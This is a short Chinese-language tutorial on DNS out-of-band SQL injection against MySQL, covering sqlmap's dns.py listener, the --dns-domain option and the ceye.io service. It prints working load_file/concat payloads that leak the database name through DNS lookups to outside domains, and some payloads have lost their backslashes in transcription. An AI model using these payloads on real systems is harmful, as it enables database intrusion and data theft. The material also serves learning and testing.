为什么要使用DNS注入?
盲注跑数据太慢的情况下,选择DNS注入是一个好办法
DNS注入的原理?
域名DNS指向的是我们服务器的域名,意味着解析域名时需向DNS服务器查询。通过递归查询可以获取数据库上的信息。要记住整个域名内的节点标签被限制在63个字符长度大小
DNS 注入场景
1) 数据库注入
数据库在配置中允许域名解析时,到数据库中查看:
show variables like ‘skip_name_resolve’;
skip_name_resolve这个参数是禁止域名解析
skip_name_resolve 为off时会进行域名解析
情况一:
1.首先我们服务器上安装sqlmap
发现服务器已有2.6的python环境了 ▼
直接pip install sqlmap,安装sqlmap▼
- 接着上个步骤
找到sqlmap根目录 下的dns.py
cd/usr/lib/python2.6/site-packages/sqlmap/lib/request/
注释:
dns.py
它的作用是监听53端口,先给它一个执行权限, x
注:这里笔者给了最大权限
chmod 777 dns.py
在mysql命令行执行
select load_file(“\xxx.zka7.xyztxf”);
\ 经过传输后会变成
txf是域名的下级目录,可以随便构造
执行后服务器就会有数据包(xxx.zka7.xyz)出现
- Sqlmap的自动化实现
- 在sqlmap中实现DNS注入加上参数–dns-domain=域名
- 服务器安装好sqlmap后运行dns.py
即可实现自动化
情况二: 不买域名也不买服务器
如何能在不想买域名也不想买服务器的情况下也玩一波DNS注入呢?
其实有现成的服务:http://ceye.io
有一个分配给你的二级域名▲
在数据库中输入
select load_file(“\tangxiaofeng.1odz7u.ceye.ioaaa”);
可以看到tangxiaofeng这个帅气的名字▲
试一下拼接:
首先本地选择一个表 use sqltest;
接着 select load_file(concat(“\“,(select database()),”.1odz7u.ceye.iotxf”));
注:这里的sqltest是笔者自己建的表
database 出来了